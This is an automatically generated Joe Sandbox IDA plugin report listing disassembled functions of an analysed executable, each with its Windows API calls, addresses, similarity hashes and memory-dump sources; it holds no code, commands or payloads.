Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: 0d692eaeaee984e821757872aa743bf672a5f4ffbc2c7638c6bb6d49df66a179
Instruction ID: db29dcbc1cc5d29ea11f5ceb55857fe228a9cd902c3556f573b3ea0c49e4e18e
Opcode Fuzzy Hash: 0d692eaeaee984e821757872aa743bf672a5f4ffbc2c7638c6bb6d49df66a179
Instruction Fuzzy Hash: F5E06D2A925F06A1FF14AB11F40637863E4FB48B08F840471D91C41350EF7CE598E310

Function 00007FF73A23B7E4 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cc42966959b643a311328828219b797476ac122a15b5d67e7ee0a83cfbaecc2
Instruction ID: fe75f631e098aba374e5d349f249d8435d69e77736fd84a5e652c63918bf675d
Opcode Fuzzy Hash: 1cc42966959b643a311328828219b797476ac122a15b5d67e7ee0a83cfbaecc2
Instruction Fuzzy Hash: 7DD1466AB04B55D6EB14DF26C4512AC77B1FB89F88B514462EF4E47B98CF3AD840E320

Function 00007FF73A2679D8 Relevance: 6.3, APIs: 4, Instructions: 282COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00007FF73A267A72

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 38b5b4059fbeeea70ae4dbf43d28609176965b01b008002529cf37a00efc29dc
Instruction ID: 33a93c838b3a4db4a206beba286525e10ea3c7dc7c7f7a47e1ef366beefdf0d9
Opcode Fuzzy Hash: 38b5b4059fbeeea70ae4dbf43d28609176965b01b008002529cf37a00efc29dc
Instruction Fuzzy Hash: 95D16E6AB05B41AAFB10EF64E4821ECB371FB94788B8040B5DE0D57BA9DF38D415E390

Function 00007FF73A27D88C Relevance: 6.1, APIs: 4, Instructions: 134windowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?,?,?,?,?,?,?,?,00007FF73A25BCA6), ref: 00007FF73A27D91A
ScreenToClient.USER32 ref: 00007FF73A27D947
MoveWindow.USER32 ref: 00007FF73A27D9C5
SendMessageW.USER32 ref: 00007FF73A27DA2D

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Window$ClientMessageMoveRectScreenSend
String ID:
API String ID: 1249313431-0
Opcode ID: 9c4d75fca34e601744925f37f1e480e3e4c466c4cf94c3035283d246947070fa
Instruction ID: 0f70f274a93b3abeb2ff87623e9182ee193d22d35c06d0a546f3d1a36969c198
Opcode Fuzzy Hash: 9c4d75fca34e601744925f37f1e480e3e4c466c4cf94c3035283d246947070fa
Instruction Fuzzy Hash: 6151343AA046429AFB10DF25D4816BD7361FBC4B98F904272DE2D43784DF3AE981E710

Function 00007FF73A24BAB8 Relevance: 6.1, APIs: 4, Instructions: 127COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32 ref: 00007FF73A24BB6F
GetLastError.KERNEL32 ref: 00007FF73A24BB7E
CreateDirectoryW.KERNEL32 ref: 00007FF73A24BB8E
CreateDirectoryW.KERNEL32 ref: 00007FF73A24BC27

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 9a50aa74d2559c0d1d2fc8bb5d1523606716f977cfdc5cafbc327c2c6a102045
Instruction ID: e3aa3c1ac93fe97a13cece46bf41b5159800946e6346d1cc475cd998779fd19c
Opcode Fuzzy Hash: 9a50aa74d2559c0d1d2fc8bb5d1523606716f977cfdc5cafbc327c2c6a102045
Instruction Fuzzy Hash: 6151F326B09A21A9FF10AF66D8814ACA3B5FB84BD4F944171EE0D53798DF3CD542E320

Function 00007FF73A255DA4 Relevance: 6.1, APIs: 4, Instructions: 108fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32 ref: 00007FF73A255E75
GetLastError.KERNEL32 ref: 00007FF73A255E98
DeleteFileW.KERNEL32 ref: 00007FF73A255EC1
CreateHardLinkW.KERNEL32 ref: 00007FF73A255EFA

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: f222de675bb5cfeccc39e8564db9bf58fcd79be7e0b29fca596ca30ba57e565e
Instruction ID: 128b34b057b3edf162da56071429579733ce0543b7a3a3104fb291d318577bde
Opcode Fuzzy Hash: f222de675bb5cfeccc39e8564db9bf58fcd79be7e0b29fca596ca30ba57e565e
Instruction Fuzzy Hash: A641EC6A604B4691EB14EF26E49206DB7A0FB88FD0B889472DF4E47766CF3CE440A350

Function 00007FF73A27F014 Relevance: 6.1, APIs: 4, Instructions: 107windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(00000000,?,?,?,?,00007FF73A280BC9), ref: 00007FF73A27F054
GetWindowRect.USER32(?,?,?,?,00007FF73A280BC9), ref: 00007FF73A27F0E3
PtInRect.USER32 ref: 00007FF73A27F0F3
MessageBeep.USER32(?,?,?,?,00007FF73A280BC9), ref: 00007FF73A27F165

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 2f09a68d55c04cb191ca289c596e56cd55ceee8682779a4dba9d7602fe5484e5
Instruction ID: e9e279217e8266ee7b1b333dfc72d45875a3eac9b787849a34920bb91909c465
Opcode Fuzzy Hash: 2f09a68d55c04cb191ca289c596e56cd55ceee8682779a4dba9d7602fe5484e5
Instruction Fuzzy Hash: 3941A23AA0CA46A5FA10AF19D886279B3A0FBC4B84F954171CE6D83361DF39E941F710

Function 00007FF73A27AA04 Relevance: 6.1, APIs: 4, Instructions: 105windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32 ref: 00007FF73A27AAF2
IsMenu.USER32 ref: 00007FF73A27AB10
InsertMenuItemW.USER32 ref: 00007FF73A27AB61
DrawMenuBar.USER32 ref: 00007FF73A27AB76

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert
String ID:
API String ID: 3076010158-0
Opcode ID: 770ae648199355dfd02d8249b0e6024aefb4e9674bbaddc28923590af2170785
Instruction ID: 2f1e58f26c91f196a4c9523e0fadf13398f3f756890019a086693f6bc08a969b
Opcode Fuzzy Hash: 770ae648199355dfd02d8249b0e6024aefb4e9674bbaddc28923590af2170785
Instruction Fuzzy Hash: 1D41CC3AA04A419AFB109F62D4422AD77A2FB84BA4F914076CE0D13754CF3AE981E790

Function 00007FF73A20C72C Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A20C77F
WideCharToMultiByte.KERNEL32 ref: 00007FF73A20C851
GetLastError.KERNEL32 ref: 00007FF73A20C874
_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A20C8A6

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo$ByteCharErrorLastMultiWide
String ID:
API String ID: 4141327611-0
Opcode ID: a9867840faaecfdaa354c38ff02ada8b7424d64697801e09ff4ff5a4409c6d4e
Instruction ID: de3696eff82076a0048522eb601dcf08714ca8c19ee33ea0950fef758946ed16
Opcode Fuzzy Hash: a9867840faaecfdaa354c38ff02ada8b7424d64697801e09ff4ff5a4409c6d4e
Instruction Fuzzy Hash: 5441B8BAA0C74266FB65FB10D04A379E6B4EFC0B90F948170DA4946AD5DF3CD841B722

Function 00007FF73A248B38 Relevance: 6.1, APIs: 4, Instructions: 96keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32 ref: 00007FF73A248B98
SetKeyboardState.USER32 ref: 00007FF73A248BB0
PostMessageW.USER32 ref: 00007FF73A248C21
SendInput.USER32 ref: 00007FF73A248C80

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 56c9a0b6ee225f986b8f36bfa830b7f851ce703ec5b55e2ab927aaea8bed82d2
Instruction ID: 77a93c786f471cacc52ccde736e209c3ef36d8e2724e94e52135a8290f2c53a4
Opcode Fuzzy Hash: 56c9a0b6ee225f986b8f36bfa830b7f851ce703ec5b55e2ab927aaea8bed82d2
Instruction Fuzzy Hash: E4415D66A2C6A265F734DB21E011679A7A0FBC5F90F940571EE9A136D4CF3CD481F720

Function 00007FF73A248CAC Relevance: 6.1, APIs: 4, Instructions: 89keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32 ref: 00007FF73A248D11
SetKeyboardState.USER32 ref: 00007FF73A248D29
PostMessageW.USER32 ref: 00007FF73A248D89
SendInput.USER32 ref: 00007FF73A248DEC

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 5e46c45bdab3a47586a9f1d6f3cf12586a4e74534b52d5ecd50e7167bd5190cf
Instruction ID: 7fc94c919239c1e8d7021efeea0d3934e6ce98adc90a716e3af63bb594c7372a
Opcode Fuzzy Hash: 5e46c45bdab3a47586a9f1d6f3cf12586a4e74534b52d5ecd50e7167bd5190cf
Instruction Fuzzy Hash: 9D311625A1DEA1A6F730AB3194017B9ABE0FB98B50F950171DE9903795CF3CD441F710

Function 00007FF73A25D7DC Relevance: 6.1, APIs: 4, Instructions: 82networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET ref: 00007FF73A25D843

Part of subcall function 00007FF73A25D914: InternetOpenUrlW.WININET ref: 00007FF73A25D954
Part of subcall function 00007FF73A25D914: InternetCloseHandle.WININET ref: 00007FF73A25DA38

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: 9c6a6dce98b363ecdfbcced4837c14e9bd6a16cec9fa7559d6c8d26d8fbc25c1
Instruction ID: c82d3020cd165372997f20b0685676877d2b564e5feea89156ee84f1954363f0
Opcode Fuzzy Hash: 9c6a6dce98b363ecdfbcced4837c14e9bd6a16cec9fa7559d6c8d26d8fbc25c1
Instruction Fuzzy Hash: 2031B2BAA0878292FB28EB16E056779E360FF89B84F440275DA4D07B44DF2CD045AB10

Function 00007FF73A213D98 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF73A20A27B,?,?,?,00007FF73A20A236), ref: 00007FF73A213DB1
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF73A20A27B,?,?,?,00007FF73A20A236), ref: 00007FF73A213E13
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF73A20A27B,?,?,?,00007FF73A20A236), ref: 00007FF73A213E4D
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF73A20A27B,?,?,?,00007FF73A20A236), ref: 00007FF73A213E77

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 1557788787-0
Opcode ID: 01582a1cc1afdad6e1d5985337141992fa687edcd13d7850452916e3cfeba0bf
Instruction ID: a457472f21c6784348ea45dacaf0939634a4c583d00e8d0c60cf532537a30368
Opcode Fuzzy Hash: 01582a1cc1afdad6e1d5985337141992fa687edcd13d7850452916e3cfeba0bf
Instruction Fuzzy Hash: 99218125F1879191F660AF126841429F6A5FF94FD0F884174DE8E63BD9DF3CE452A310

Function 00007FF73A27F8A8 Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF73A27F90E
SetWindowLongPtrW.USER32(?,?,?,?,?,?,?,00007FF73A25CD60), ref: 00007FF73A27F937
SetWindowLongPtrW.USER32(?,?,?,?,?,?,?,00007FF73A25CD60), ref: 00007FF73A27F952
SetWindowPos.USER32 ref: 00007FF73A27F988

Part of subcall function 00007FF73A1D2A54: GetWindowLongPtrW.USER32 ref: 00007FF73A1D2A71

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Window$Long
String ID:
API String ID: 847901565-0
Opcode ID: 17af9f186f091bf577d3b0a8bd6a034cb4dd905415e59c2f23c9277c7aa4b264
Instruction ID: cbdc9103a8bce21ad349cffc54454ddb7a954b7a50fcf3f98e2a7b8185cd5b00
Opcode Fuzzy Hash: 17af9f186f091bf577d3b0a8bd6a034cb4dd905415e59c2f23c9277c7aa4b264
Instruction Fuzzy Hash: 9621C025A0CB41A5FA10AB259981339B790EFC4BA0F954270EE7E47BE5CF3DE542E310

Function 00007FF73A28108C Relevance: 6.1, APIs: 4, Instructions: 71windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A1D2A54: GetWindowLongPtrW.USER32 ref: 00007FF73A1D2A71

GetCursorPos.USER32 ref: 00007FF73A2810E1
TrackPopupMenuEx.USER32 ref: 00007FF73A281105
GetCursorPos.USER32(?,?,00000000,?,?,00007FF73A21AB30,?,?,?,?,?,?,?,?,?,00007FF73A1D27AF), ref: 00007FF73A28114C
DefDlgProcW.USER32(?,?,00000000,?,?,00007FF73A21AB30,?,?,?,?,?,?,?,?,?,00007FF73A1D27AF), ref: 00007FF73A281190

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: b766ee5e7a6f79c275b6e8452a41ed66ab3f515ad85ef8642b06b7120701f994
Instruction ID: 8fc641f173b047fd5337ed08b4c02ebdf7ba2f93fc7c45a5a16ae3960e1855ed
Opcode Fuzzy Hash: b766ee5e7a6f79c275b6e8452a41ed66ab3f515ad85ef8642b06b7120701f994
Instruction Fuzzy Hash: A331702AA08A4595FB10EB15E4963B9E364FBC4F94F940171EA4D83BA8CF3CD445E710

Function 00007FF73A2450E4 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 69stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A24691C: lstrlenW.KERNEL32 ref: 00007FF73A246944
Part of subcall function 00007FF73A24691C: lstrcpyW.KERNEL32 ref: 00007FF73A246973
Part of subcall function 00007FF73A24691C: lstrcmpiW.KERNEL32 ref: 00007FF73A2469AD

lstrlenW.KERNEL32 ref: 00007FF73A245127
lstrcpyW.KERNEL32 ref: 00007FF73A24515A
lstrcmpiW.KERNEL32 ref: 00007FF73A24519C

Strings

cdecl, xrefs: 00007FF73A245191

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 9543eb87236cbe86fa524af2d72e3452b2187adb33a089d16778c3ede46c2dfa
Instruction ID: ccc2603816f460dafef979c97b0087a5769272ef47beffbed5ad9296ce3ad65b
Opcode Fuzzy Hash: 9543eb87236cbe86fa524af2d72e3452b2187adb33a089d16778c3ede46c2dfa
Instruction Fuzzy Hash: D221D32570875299FB10BF16A455178B361EF98FD0B884174EB9E47390DF7DE440E314

Function 00007FF73A1D932C Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32 ref: 00007FF73A1D93BC
GetStockObject.GDI32 ref: 00007FF73A1D93D9
SendMessageW.USER32 ref: 00007FF73A1D93EC

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: dfdf152a6b4170b9c012631cbf21b5eef6d1f67974f7a0a9349fa7dc94decf0b
Instruction ID: 14cbb0d812402e3f2c058a69fe77d4dedc6f3b9beade85f44aafab39f4b05616
Opcode Fuzzy Hash: dfdf152a6b4170b9c012631cbf21b5eef6d1f67974f7a0a9349fa7dc94decf0b
Instruction Fuzzy Hash: 652160366087C59AE7A49F25F8457AAB7A0FB88780F840135DA8D43B58DF3CD484DB00

Function 00007FF73A282264 Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A1D2A54: GetWindowLongPtrW.USER32 ref: 00007FF73A1D2A71

GetClientRect.USER32(?,?,?,?,?,00007FF73A21AA36,?,?,?,?,?,?,?,?,?,00007FF73A1D27AF), ref: 00007FF73A2822C4
GetCursorPos.USER32(?,?,?,?,?,00007FF73A21AA36,?,?,?,?,?,?,?,?,?,00007FF73A1D27AF), ref: 00007FF73A2822CF
ScreenToClient.USER32 ref: 00007FF73A2822DD
DefDlgProcW.USER32(?,?,?,?,?,00007FF73A21AA36,?,?,?,?,?,?,?,?,?,00007FF73A1D27AF), ref: 00007FF73A28231F

Part of subcall function 00007FF73A27E894: LoadCursorW.USER32 ref: 00007FF73A27E945

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
